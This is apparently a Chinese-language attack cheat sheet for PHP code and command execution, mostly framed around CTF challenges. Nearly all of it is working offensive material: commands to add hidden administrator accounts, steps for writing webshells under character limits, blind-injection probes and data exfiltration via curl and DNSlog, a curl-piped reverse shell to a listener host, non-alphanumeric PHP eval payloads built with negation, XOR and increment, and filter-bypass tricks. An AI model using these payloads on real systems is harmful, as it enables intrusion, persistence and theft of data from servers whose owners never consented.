代码执行|命令执行

判断目标操作系统

对于有回显/出网的情况就很好判断了。

这里介绍无回显不出网情况下的判断方法:

Ping命令在Linux和Win中的参数不同,“要发送的回显请求数” 在Linux中为-c参数,Win中为-n参数

Windows下的Ping命令每间隔一秒会发送一个ICMP ECHO_REQUEST 包,因此可以利用 Ping 命令来近似地模拟等待指定秒数的效果

应该目标通过 ping -n产生了相应的延时,则说明是Windows系统,反则Linux系统

代码&命令执行函数

可以代码&命令执行的函数有很多,有可以回显的,也有不回显的。

函数 说明 例子
string system($command[,int $return_var]) command是要执行的命令,如果提供return参数,则外部命令执行后的返回状态将会被设置到此变量中,显示输出。 system('whoami')
void passthru($command[,int $return_var]) 执行外部程序并且显示原始输出。 passthru('whoami')
string exec(string $command[,array $output[,int $return_var]]) 执行指定的命令,并返回结果的最后一行内容,==不显示输出== echo exec('whoami')
string shell_exec(string $cmd) 通过shell环境执行命令,并且将完整的输出以字符串的方式返回。 echo shell_exec('whoami')
void pcntl_exec(string $path[,array $args[,array $envs]]) path是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本。args是一个要传递给程序的参数的字符串数组。该模块不能在非unix平台(win)上运行。 pcntl_exec("/bin/cat",array("etc/passwd"));
resource popen(string $command,string $mode) 打开一个指向进程的管道,该进程由派生给定的command命令执行而产生。后面的mode,当为r,返回的文件指针等于命令的STDOUT,当为w,返回的文件指针等于命令的STDIN。 image-20230327144229397
反引号 echo `whoami`;
string create_function() php中使用create_function()创建一个匿名函数,如果对参数未进行严格的过滤审查,攻击者可以通过提交特殊字符串给create_function()从而导致任意代码执行。 create_function('$test','};phpinfo();/*');
array array_map(callable $callback,array $array1[,array $…]) 为数组的每个元素应用回调函数。其返回值为数组,是为array1每个元素应用callback函数之后的数组。callback 函数形参的数量和传给array_map()数组数量,两者必须一样。 array_map('system',array('whoami'));
array array_filter(array $array[,callable $callback[,int $flag=0]]) 依次将array数组中的每个值传递到callback 函数。如果callback 函数返回true,则array数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。 array_filter(array('whoami'),'system');
bool usort(array $array,callable $value_compare_func) 通过用户自定义的比较函数对数组进行排序。 $a=array('whoami','t);usort($a,"system");
bool uasort(array $array,callable $value_compare_func) 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联。 $a=array('whoami','t');uasort($a,"system");

有回显命令执行

出网

如果目标开放远程桌面端口的话,并且权限足够可以直接执行命令添加账号

net user test test@123qaz /add
net localgroup administrators test /add
或者启用guest账号:
net user guest /active:yes
net user guest guest@123qaz
net localgroup administrators guest /add

不出网

针对这种场景,解决方法就比较灵活了。因为不通外网,所以主思路还是想办法写入webshell。

1.确认Web应用物理路径

dir /s/a-d/b /WEB-INF/web.xml
或者
for /r c: %i in (checkCode.js*) do @echo %i

2.写入webshell,需要考虑webshell特殊符号问题,可以先做base64编码写入

3.使用certutil解码

certutil -decode D:\OA\apache-tomcat-7.0.91\webapps\ROOT\shell.txt D:\OA\apache-tomcat-7.0.91\webapps\ROOT\shell.jsp

linux

find . -type f -name yokan_test.js|while read f;do echo $f >$(dirname $f)/test.txt;done
echo webshell的base64编码内容 |base64 -d > Web应用目录/test.jsp  

无回显命令执行

判断

<?php
    highlight_file(__FILE__);
    if(issert($_GET['cmd'])){
        shell_exec($_GET['cmd']);
    }
  1. 延时

    ?cmd=sleep 3

    通过是否延时来判断命令是否已经执行,有延时则表示命令有执行

  2. HTTP请求

    在公网服务器监听端口

    nc -lvp 4444

    向目标服务器发起http请求,执行curl命令

    ?cmd=curl ip:4444

  3. DNS请求

    dnslog

    ?cmd=ping 9y8y3k.dnslog.cn

利用

直接拿flag

  1. 使用>>>

    ?cmd=cat flag.php>flag.txt

  2. mvcp

    ?cmd=mv flag.php flag.txt

    ?cmd=cp flag.php flag.txt?cmd=mv flag.php flag.txt

    ?cmd=cp flag.php flag.txt

  3. 打包压缩

    tar

    tar cvf flag.tar flag.php

    tar zcvf flag.tar.gz flag.php

    zip

    zip flag.zip flag.php

  4. cut and sleep

    sed指定读取文件的第几行

    cat flag.php|sed -n ‘2p’

    提取每一行的第三个字节

    cut -b 3 flag文件

    最后

    cat flag.php|sed -n ‘2p’|cut -b 1

  5. curl外带数据

    用<替换读取文件中的空格,且对输出结果base64编码

    curl `cat<flag.php|base64`

    再拼接上要请求的vps

    curl `cat<flag.php|base64`.xxxx.com

拿shell

判断web路径

第一,利用特殊的文件定位Web路径并将路径写入特殊文件同目录下的txt文件

这里以 yokan_test.js 为例:

for /f %i in ('dir /x /s /b yokan_test.js') do (echo %i>%i.path.txt)

第二,利用特殊的文件定位Web路径并将结果发送至DNSLog

for /r c: %i in (yokan_test.js*) do certutil -urlcache -split -f http://x.x.x.x/%i

当然,可以发送路径,也可以直接执行命令

for /f %i in ('dir /x /s /b yokan_test.js') do (ipconfig >%i.ipconfig.txt)

正向shell

无字符数量限制
  • 直接写入

    ?cmd=echo"<?php @eval(\$_POST[1]);?>" > webshell.php
  • 外部下载

    wget 网址 -O webshell.php #使用wget下载shell,使用参数-O来指定一个文件名

wget http://192.168.111.128/1.php -O webshell.php

有限字符限制
<?php
highlight_file(__FILE__);
if(strlen($_GET[1])<15){
    shell_exec($_GET[1]);
}else{
    exit('too long');
}
14位可控
echo \<?=@eval(\$_POST\[1\]\)\; > 1;mv 1 1.php;jp

echo \<?php>1

echo eval\(»1

echo \$_GET»1

echo \[1\]»1

echo \)\;»1

mv 1 1.php

7位可控

知识点

  • > a 虽然没有输入但是会创建a文件
  • ls -t ls基于时间排序(从晚到早)
  • sh a 把a里面的每行内容当作命令来执行
  • 使用\进行命令拼接 l\s=ls
  • 使用base64编码笔迷案特殊字符

目标:写入语句 <?php eval($_GET[1]);

base64编码后 PD9waHAgZXZhbCgkX0dFVFsxXSk7

需要被执行的语句是 echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

payload

>hp
>1.p\\
>d\>\\
>\-\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh0
5位可控

知识点

  1. 输入通配符*,linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

  2. 通过rev来倒置输出内容(rev命令将文件中的每行内容以字符为单位反序输出)

  3. 用dir来替代ls不换行输出;rev将文件内容反向输出;在用ls时,写到a时每个文件名都是单独一行

    >rev
    echo 1234>v
    *v 等同于命令rev v

echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

那么我们只需要将上面的代码拆分倒叙输入到主机即可。我们需要让sh先执行a文件(ls -th>f)就会得到f文件,最后再让sh去执行f文件即可得到1.php。

image-20230327160653643

反弹shell

  1. 公网服务器开启监听

    nc -lvp 4444 或 nc -vv -lp 4444

  2. 在公网服务器写一个文件(qwzf文件),内容是下面的命令

    bash -i>&/dev/tcp/x.x.x.x/4444 0>&1

  3. 浏览器执行payload

    ?cmd=curl x.x.x.x:8002/qwzf|bash

无回显不出网

依旧确认Web应用物理路径,然后写入webshell。

找web路径的方法和[无回显出网]条件下的第一种方法一样:

定位Web特殊文件路径并将路径写入当前目录下的txt文件

有了路径我们就可以直接写webshell

例如:

cmd /c "for /f %i in ('dir /x /s /b index.html') do (echo%i>%i.path.txt)%26(ipconfig>%i.ipconfig.txt)"

无字母数字rce

取反

如图示,对phpinfo取反,再取反,仍然得到phpinfo,但是可以利用它进行一些对数字字母过滤的绕过

paylaod: (~%8F%97%8F%96%91%99%90)();

<?php 
$a=urlencode(~'assert');
echo $a;
echo '666';
$b=urlencode(~'eval($_POST[1]);');
echo $b;

shell

?cmd=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);
?cmd=$_=~%9E%8C%8C%9A%8D%8B;$__=~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4;$_($__);

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过(‘phpinfo’)();来执行函数,第一个括号中可以是任意PHP表达式。

异或

在PHP中两个变量进行异或时,会先将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完又将结果从二进制转换成ASCI值,再转换成字符串。

这里有一个异或构造的脚本, 相信聪明的你一看就知道怎么回事了

valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "

answer = str(input("请输入进行异或构造的字符串:"))

tmp1, tmp2 = '', ''
for c in answer:
  for i in valid:
    for j in valid:
      if (ord(i) ^ ord(j) == ord(c)):
        tmp1 += i
        tmp2 += j
        break
    else:
      continue
    break
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)

那么怎么利用呢?

下面是几个例子

需要注意的是,由于我们的Payload中含有一些特殊字符,我们传参的时候需要对Payload进行一次URL编码。

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");  //变量$__值为字符串'_POST'
mess=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);&_=print_r(show_source('p.php'));
<?php
$_ = "!((%)("^"@[[@[\\";   //构造出assert
$__ = "!+/(("^"~{`{|";   //构造出_POST
$___ = $$__;   //$___ = $_POST
$_($___[_]);   //assert($_POST[_]);
${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=命令或函数  
${"`{{{"^"?<>/"}['+']();&+=命令   //$_GET[+]

自增

个人认为拿到自增的初始值是自增rce最精髓的部分之一

  • 在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"==A=="。

    <?php
    $a = ''.[];
    var_dump($a); //Array
    
  • $++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字

    <?php
    $_++;
    var_dump($_);  //1
    
  • $__没有定义,默认为Null也即==0==

    <?php
    var_dump($__);

    那++$__就是==1==

    <?php
    var_dump(++$__);
  • ==NAN==

     <?php
     echo ((_/_).'');

    ==N==

    <?php
    echo ((_/_).''){$_};

payload

初始

<?php
$_=[].'';   //得到"Array"
$___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$___ .= $__;   //$___="AS"
$___ .= $__;   //$___="ASS"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;   //得到"E",此时$__="E"
$___ .= $__;   //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //得到"R",此时$__="R"
$___ .= $__;   //$___="ASSER"
$__++;$__++;   //得到"T",此时$__="T"
$___ .= $__;   //$___="ASSERT"
$__ = $_;   //$__="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P",此时$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O",此时$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //得到"T",此时$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$___($_[_]);   //ASSERT($POST[_])

强化

<?php
$__=++$____;
--$__;
$____=((_/_).''){$__};//NAN
$_____=++$____;//O
++$____;
$______=$____;//p
++$____;++$____;++$____;
$_______=$____;//S
++$____;
$________=$____;//T
$_________=$______.$_____.$_______.$________;//POST
$_________='_'.$_________;//_POST
${$_________}{_}(${$_________}{__});//$_POST[_]($_POST[__])

shell:
?cmd=$__=++$____;--
$__;$____=((_/_).''){$__};$_____=++$____;++$____;$______=$____;++$____;++$____;++$____;$___
____=$____;++$____;$________=$____;$_________=$______.$_____.$_______.$________;$_________='
_'.$_________;${$_________}{_}(${$_________}{__});&_=system&__=cat /flag

究极强化

<?php
$_=(_/_._)[_]; //N
$_++; //o
$__=$_.$_++;//PO
$_++;$_++;
$_=_.$__.++$_.++$_;//_POST
$$_[_]($$_[__]);//$_POST[$_POST[__]] 注意。这里的__也可以替换成%FA这样的特殊字符减少一个字符占用

cmd=$_=(_/_._)[_];$_%2B%2B;$%FA=$_.$_%2B%2B;$_%2B%2B;$_%2B%2B;$_=_.$%FA.%2B%2B$_.%2B%2B$_;$$_[_]($$_[%FA]);&_=system&%FA=cat /flag

命令执行bypass

拼接

a=c;b=at;c=flag;$a$b $c

base64编码

cat flag 编码为 Y2F0IGZsYWc

`echo “Y2F0IGZsYWc="|base64 -d`

echo “Y2F0IGZsYWc="|base64 -d|bash

单引号、双引号

c"“at flag

c"“at fl"“ag

c"“at fl’‘ag

反斜线

c\at fl\ag

${IFS}

$IFS在linux下表示分隔符,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个丹就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

cat${IFS}flag

cat${IFS}$9flag

cat$IFS$9flag

重定向符<>

cat<>flag

cat<flag

利用已存在的资源

从已有的文件或者环境变量中获得相应的字符。

管道符&命令分隔符

1.==%Oa==符号换行符

2.==%Od==符号回车符 3.==;==符号在shell中,担任"连续指令"功能的符号就是"分号” 4.==&==符号&放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&“实现这个目的。进程切换到后台的时候,我们把它称为job。切换到后台时会输出相关job信息 5.==|==符号管道符左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示 6.==&&==表示前一条命令执行成功时,才执行后一条命令 7.==||==表示上一条命令执行失败后,才执行下一条命令

8.命令终止符==%00%20#==

多命令执行符 格式 作用 ; 命令1;命令2 不错的命令都会执行 && 命令1&&命令2 逻辑与:当命令1正确执行后,命令2才会正确执行,否则命令2不会执行 || 命令1||命令2 逻辑或:当命令1不正确执行后,命令2才会正确执行,否则命令2不会执行

windows:

| 前后两个都执行

|| 执行前面的,前面的错误就执行后面的

&& 前面的执行完执行后面的

无管道符

bash < <(base64 -d < <(echo bHMg)),等价 echo bHMg | base64 -d | bash,不使用管道符 |

下载文件

参考

curl http://192.168.16.218:8005/ye.jsp?cmd=base64 -w0 /usr/sbin/flag.rar|xargs echo|base64 -d > flag2.rar

other tricks

2023陕西省赛一个题匹配了xxx()这种形式,实际上xxx ()也是可以执行的

例如 system (‘cat /flag’);

0%